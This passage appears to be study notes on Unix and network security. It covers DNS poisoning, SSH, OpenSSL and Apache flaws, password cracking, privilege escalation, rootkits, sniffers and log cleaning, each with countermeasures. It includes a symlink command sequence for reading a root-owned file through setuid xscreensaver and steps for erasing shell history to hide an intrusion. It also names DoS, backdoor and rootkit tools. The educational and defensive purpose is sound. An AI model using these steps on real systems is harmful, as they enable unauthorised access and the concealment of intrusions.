DNS cache poisoning is a technique hackers use to trick clients into contacting a malicious server rather than the intended system. That is to say, all requests, including web and e-mail traffic, are resolved and redirected to a system the hacker owns. DNS Cache saves for a certain period of time an IP related to a domain name requested by a client. If an attacker can poison the DNS records he can fool the clients resolving the hostname of the server to whatever he wishes. Vulnerable versions:

- BIND8, BIND 9.
- Microsoft DNS in Win 200 SP4, XP SP2 and SP3.

With "**dig** @ip version.bind chaos txt" is possible to check whether version of DNS is currently running.
Countermeasures:

1. System that is not being used as a DNS server should disable BIND.
2. Check if BIND is patched.
3. Run named as unprivileged user + should be run from a chrooted() environment via the -t option which may prevent an attacker from traversing your file system even if access is obtained.
4. Replace BIND with djbdns.

7.19 SSH Insecurities

Many of the most secure systems rely on SSH to help defend against unauthenticated users and to protect data and login credentials from eavesdropping. One of the most damaging vulnerabilities associated with SSH is related to a flaw in the **SSH1 CRC-32** compensation attack detector code. It could lead to the execution of arbitrary code in **SSH servers and clients.** The exploit involve the us of an hash table that is dynamically allocated based on the size of the received packet. Thus, **an attacker could craft large SSH packets** (length greater than 2^{16}) to **make the vulnerable code perform a call to xmalloc() with an argument of 0, which returns a pointer into the program's address space**. If attackers are able to write to arbitrary memory locations in the address space of the program, they could execute arbitrary code on the vulnerable system. Vulnerabile SSH supporting protocol: OpenSSH ⟨ 2.3.0, SSH-1.2.23 - 1.2.32.

7.19.1 OpenSSH Challenge-Response Vulnerability

OpenSSH v 2.9.9-3.3: integer overflow in the handling of responses received during the challenge-response authentication procedure. To perform the exploit two factors are needed:

1. if the challenge-response configuration option is enabled and the system is using BSD_AUTH or SKEY authentication, then a remote attack may be able to execute code on the vulnerable system with root privileges.
2. Buffer overflow in the challenge-response mechanism. If the vulnerable system is using PAM[24] with interactive keyboard authentication, it may be vulnerable to a remote root compromise.

SSH Countermeasures:

- Use the last patched version of SSH client and server.

7.20 OpenSSL Attacks

Over the year various remote code execution and DoS vulnerabilities have been found in OpenSSL. Example of recent DoS vulnerability: the PoC "THC-SSL-DOS" was able to create a DoS without requiring large considerable bandwidth. The tool takes advantage of the **asymmetric computational** nature between a client and a server during an **SSL handshake**. THC-SSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet. The tool also exploits the SSL secure renegotiation feature to trigger thousands of renegotiations via a single TCP connection.
Countermeasures:

- Disable SSL-Renegotiation.
- Invest into SSL Accelerator.

7.21 Apache Attacks

Apache: most prevalent web server on the planet. *Apache Killer* it's Apache DoS Attack: The exploit takes advantage of **Apache's improper handling of multiple overlapping ranges**. The attack can be performed remotely using a minimal number of requests to increase utilization on the server. Affected version: 2.0-2.0.65, 2.2-2.2.20-21.
Script: **killapache**.
Countermeasures: Apply patch and upgrade to the latest secure version of Apache.

[24] Pluggable Authentication Modules.

7.22 Local Access

At the point where attackers have an interactive command shell, they are considered to be local on the system. Attackers must escalate user privileges to gain root access, better known as privilege escalation.

7.23 Password Composition Vulnerabilities

Password cracking is commonly known as an automated dictionary attack. Whereas brute-force guessing is considered an active attack, password cracking can be done offline and is passive in nature. It is a common local attack, as attackers must obtain access to the/etc/passwd file or shadow password file. It is possible to grab a copy of the password file remotely (for example, via TFTP or HTTP). Cracking passwords for modern UNIX operating systems requires one additional input known as a *salt*. **The salt is a random value that serves as a second input to the hash function to ensure two users with the same password will not produce the same password hash**. Salting also helps **mitigate precomputation attacks** such as rainbow tables. The cracking process is simple algebra: if we know three out of four items we can deduce the fourth:

1. We know the word value (within the dictionary).
2. We know the salt value.
3. We know the password-hashing value (DES, MD5, Blowfish).

If we hash these two inputs by applying the algorithm and the resultant output matches the hash of the target user ID we will know the original password. Best tool for cracking UNIX password: John the Ripper (JTR).

7.24 John the Ripper

One of John's strong points is the sheer number of rules used to create permutated words. In addition, each time it is executed, it builds a custom wordlist that incorporates the user's name, as well as any information in the GECOS[25] or comments field. In /etc/passwd the password field is replaced with an "x", the actual hases are stored in /etc/shadow pr /etc/master.passwd that are accessible only with the root privileges. The second field of the shadow file contains the hash and it is splitted into three sections delimited by the dollar sign, from this we can deduce the OS supports the Modular Crypt Format. MCF format:

1. Algotithm - 1 for MD5, 2 for Blowfish.

[25] field in each record in the /etc/passwd.

2. Salt - Random value used as input to create unique password hashes even if the passwords are the same.

3. Encrypted Password - Hash of the user's password.

John wordlist can be replaced by accessing its configuration file. Countermeasures: same as brute-force attack countermeasures.

7.25 Local Buffer Overflow

Buffer overflow vulnerabilities allow attackers to execute arbitrary code or commands on a target system. Most times, buffer overflow conditions are used to exploit SUID root files, enabling the attackers to execute commands with root privileges. Example: RARLab 3.9.3, a linux port of WinRar. If a user open a specially crafted rar file, an attacker can trigger a local stack-based buffer overflow and execute arbitrary code on the system in the context of the user running the unrar application. This is possible dueto theapplication's improper processing of malformed rar files. The PoC is uploaded as a Perl script in Exploit-db.
Countermeasures:

1. Secure coding practices combined with a non executable stack.

2. Evaluate and remove the SUID bit on any file that does not absolutely require SUID permissions.

3. See Buffer Overflow Attack Countermeasures.

7.26 Symlink

A symbolic link is a mechanism where a file is created via the ln command. A symbolic link is nothing more than a file that points to a different file. Example xscreensaver 5.01 that can be used to view the contents of other files not owned by a user. Xscreensaver reads user configuration options from the file /.xscreensaver. If the .xscreensaver file is a symlink to another file, then that other file is parsed and output to the screen when the user runs the xscreensaver program. OpenSolaris installs xscreensaver with the setuid bit set, the vulnerability allows us to read any file on the file system. To create symlinnk: ln -s /root/dbconnect.php -/.screensaver. To output dbconnect contents: ./xscreensaver .
Countermeasures:

- Secure coding practices.

- Programmers should check to see if a file exists before trying to create one, by using the O_EXCL — O_CREAT flags.

- When creating temporary files, set the UMASK and then use the tmpfile() or mktemp() function.

- Remove the SUID bit from as many files as possible to mitigate the risks of symlink vulnerabilities.

7.27 Race Conditions

Attackers take advantage of a program or process while it is performing a privileged operation. Typically, this includes timing the attack to abuse the program or process after it enters a privileged mode but before it gives up its privileges. Most times, a limited window exists for attackers to abscond with their booty. A vulnerability that allows attackers to abuse this window of opportunity is called a race condition. If the attacker compromise the file or process during this time windows, it is called "winning the race."

7.27.1 Signal-Handling Issues

Signals are a mechanism in UNIX used to notify a process that some particular condition has occurred and provide a mechanism to handle asynchronous events. For instance, when users want to suspend a running program, they press CTRL-Z (Sending SIGTSTP). An example of signal-handling abuse is the wu-ftpd v2.4 signal-handling vulnerability discovered in late 1996. This vulnerability allowed both regular and anonymous users to access files as root. It uses two signal handlers:

1. Handler SIGPIPE control/data port connection closed.

2. Handler SIGURG out-of-band signaling was received via the ABOR (abort file transfer) command.

FTP runs with user privileges. If a data connection is unexpectedly closed, the SIGPIPE signal is sent to the FTP server. The FTP server jumps to the dologout() function and raises its privileges to root (UID 0). This creates a race condition where the attackers must issue the SIGURG signal after the server changes its effective UID to 0 but before the user is successfully logged out. If the attackers are successful, they will still be logged into the FTP server with root privileges.
Countermeasures:

1. Proper signal handling is imperative when dealing with SUID files.

2. Reduce the number of SUID files on each system and apply all relevant vendor-related security patches.

7.28 Core File Manipulation

Having a program dump core when executed is more than a minor annoyance, it could be a major security hole. A lot of sensitive information is stored in memory when a UNIX system is running, including password hashes read from the shadow password file. Example: older version of FTPD. The core file contained portions of the shadow password file and, in many cases, users' password hashes. If password hashes were recoverable from the core file, attackers could potentially crack a privileged account and gain root access to the vulnerable system.
Countermeasures:

- Restrict the system from generating a core file by using the ulimit command. By setting ulimit to 0 in your system profile, you turn off core file generation.

7.29 Shared Libraries

Shared libraries allow executable files to call discrete pieces of code from a common library when executed. This code is linked to a host-shared library during compilation. Shared libraries pro: maintain the code and save system disk and memory. If attackers are able to modify a shared library or provide an alternate shared library via an environment variable, they could gain root access. Example: some versions of **in.telnetd** allow environmental variables to be passed to the remote system when a user attempts to establish a connection. To exploit this vulnerability attackers had to place a modief shared library on the target system. When in.telnetd executed /bin/login to authenticate the user, the system's dynamic linker would load the modified library and override the normal library call, allowing attackers to execute code with root privileges.
Countermeasures: Shared libraries (forexample,/usr/lib and/lib) should be protected with the same level of security as the most sensitive files. If attackers can gain access to/usr/lib or/lib, the system is toast.

7.30 Kernel Flaws

The UNIX kernel is the core component of the operating system that enforces the system's overall security model (i.e. how system react to signal, directory permissions ...). If a security flaw occurs in the kernel itself, the security of the entire system is in grave danger. Example: mem_write() in 2.6.39 kernel version does not adequately verify permissions when writing to /proc/⟨*pid*⟩/mem. The improper permission check can be used to modify process memory within the kernel, and the attackers who have shell access to a vulnerable system can escalate their privilege to root.
Countermeasure: patch kernel security vulnerabilities.

7.31 System Misconfiguration

7.31.1 File and Directory Permissions

If the file permissions are weak out of the box, or the system administrator changes them, the security of the system can be severely affected.

SUID Files. Many users are too lazy to take a few extra steps to accomplish a given task and would rather have every program run with root privileges. The attackers usually begin to find all SUID files and to create a list of files that may be useful in gaining root access. UNIX *find* command with option -perm setted up. From the listed SUID files the attackers focus on those SUID binaries that have been problematic in the past or that have a high propensity for vulnerabilities based on their complexity. Countermeasures: Remove SUID/SGID bit on as many files as possible, ensure every SUID file really needs the root privileges. To list SUID ”find / -type f -perm -04000 -s” for SGID replace 4 with 2. Use of SELinux (Security-enhanced) which stop some SUID/SGID exploits.

World-writable Files. Another common system misconfiguration is setting sensitive files to world-writable, allowing any user to modify them. Common files that may be set world-writable include system initialization files, critical system configuration files,and user startup files. To find this file same command as SUID with ”-perm 2”. Countermeasures: Change any file or directory that does not have a valid reason for being world-writable;

7.32 After Hacking Root

Once the attacker has gained the root privileges they want to exploit your system by “hoovering”all the files for information; loading up sniffers to capture telnet, FTP, POP and SNMP passwords and attacking another victim from the compromised system.

7.33 Rootkits

A UNIX rootkit typically consists of four groups of tools all geared to the specific platform type and version: Trojan (altered version of login, nestat and ps), backdoors, Interface sniffers and system log cleaners.

7.34 Trojans

A common Trojan in many rootkits is a hacked-up version of login. The program logs in a user just as the normal login command does; however, it also logs the input username and password to a file. A hacked-up version of SSH performs the same

function as well. Another Trojan may create a backdoor into your system by running a TCP listener that waits for clients to connect and provide the correct password. Unix backdoor: Rathole. The compilation of the package produces two binaries: rat (client) and the server (hole). It also support the Blowfish encrpytion. It can runs under the "bash" process name and the backdoor traffic is encrypted.
Countermeasures:

- Cryptographic checksum program to perform a unique signature for each binary file and these signatures needs to be stored securely.
- Checksum tools: Tripwire and AIDE.
- Rootkit detection tools: chkrootkitand rkhunter.
- Red Hat Package Manager (RPM) Linux hashing built-in. Part of RPM includes MD5 checksums. Use database of known MD5 sums to perform self-audit. (digest -a md5 ¡binary path¿).
- If the system is compromised, restore it.

7.35 Sniffers

Sniffers allow attackers to strike at every system that sends traffic to the compromised host and at any others sitting on the local network segment. Sniffers arise out of the need for a tool to debug networking problems.

What is a sniffer? They essentially capture, interpret and store for later analysis packets traversing a network.

How sniffers work? Normally, an Ethernet NIC discards any traffic not specifically addressed to itself or the network broadcast address, so the card must be put in a special state called promiscuous mode to enable it to receive all packets floating by on the wire. Once the network hardware is in promiscuous mode, the sniffer software can capture and analyze any traffic that traverses the local Ethernet segment.

Popular Sniffers. tcpdump, wireshark, Snoop (solaris) and Dsniff.
Countemeasures:

1. **Migrate to Switched Network Topologies.** Switched Ethernet essentially places each host in its own collision domain so only traffic destined for specific hosts (and broadcast traffic) reaches the NIC, nothing more.

2. **Detecting Sniffers.** The most direct host-based approach is to determine whether the target system's network card is operating in promiscuous mode. Tool: check promiscuous mode. Sniffers are also visible in the Process List and tend to create large log files over time, so simple UNIX scripts using ps, lsof and grep can illuminate suspicious sniffer-like activity. Network-based sniffer detection using PoC Anti-Sniff.

3. **Encryption (SSH, IPSec).** Only if end-to-end encryption is employed can near-complete confidence in the integrity of communication be achieved. Tools: OpenSSH, IPSec for auth and encrypt IP traffic.

7.36 Log Cleaning

Tool: Logclean-ng. Features:

1. wtmp, samba, syslog and snort support.

2. Generictext file modification.

3. Interactive mode.

4. Program logging and encryption capabilities.

5. Manual file editing.

6. Complete log wiping for all files.

7. Timestamp modification.

In syslog.conf we can check where the system logins are placed (/var/log). One of the last steps attackers take is to remove their own commands. Many UNIX shells keep a history of the commands run. For example, bash keeps a file in the user's directory called .bash history. Using a simple text editor, the attackers remove these entries and use the touch command to reset the last accessed date and time on the file. Additionally, an intruder may link .bash history to /dev/null.
Countermeasures: Writing log file information to a medium that is difficult to modify is important. Such a medium includes a file system that supports extend attributes such as the append-only flag. Thus, log information can only be appended to each log file, rather than altered by attackers. The second method is to syslog critical log information to a secure log host.

7.37 Kernel Rootkits

These kernel-based rootkits actually modify the running UNIX kernel to fool all system programs without modifying the programs themselves. By far the most popular

method for loading kernel rootkits is as a kernel module. Typically, a **loadable kernel module (LKM)** is used to load additional functionality into a running kernel without compiling this feature directly into the kernel. This functionality enables the loading and unloading of kernel modules when needed, while decreasing the size of the running kernel. Instead of LKMs being used to load device drivers for items such as network cards, LKMs **will instead be used to intercept system calls and modify them in order to change how the system reacts to certain commands**. If LKM is disable is possible to accomplish the same task through raw memory access in order to read and write directly to kernel memory.
Interception techniques:

- Direct modification of the **system call table**. **System calls are replaced by changing the corresponding address pointers within the system call table**. This method is easy to detect with integrity checks.

- Rootkit can **modify the system call handler that calls the system call table to call its own system call table**. In this way, the rootkit can avoid changing the system call table.

Tool: **enyelkm** is an LKM-based rootkit for Linux 2.6.x. Features:

1. Hides files, directories,and processes.

2. Provides root access via kill option.

3. Provides remote access via special ICMP request and reverse shell.

Countermeasures: Prevention is always the best countermeasure we can recommend. Using a program such as Linux Intrusion Detection System (LIDS) is a great preventative measure that you can enable for your Linux systems. LIDS features:

- The ability to "seal"the kernel from modification.

- The ability to prevent the loading and unloading of kernel modules.

- Immutable and append-only file attributes.

- Locking ofshared memory segments.

- Process ID manipulation protection.

- Portscan detection.

LIDS is a kernel patch that must be applied to your existing kernel source, and the kernel must be rebuilt.

7.38 Rootkit Recovery

Remain calm and realize that any action you take on the system many affect the electronic evidence of an intrusion. Just by viewing a file, you will affect the last access timestamp. A good first step in preserving evidence is to create a toolkit with statically linked binary files that have been cryptographically verified. This should done before an incident occurs (need to maintain a floppy or cd-rom of common statically linked programs that includes at minimum: ls, su, dd, ps, login, du, netstat, grep, lsof, w, df, top, finger, sh, File). With this toolkit in hand, it is important to preserve the three timestamps associated with each file on a UNIXsystem. The three timestamps include the last access time, time of modification, and time of creation. You should also ensure that you have a good incident-response plan in place before an actual incident.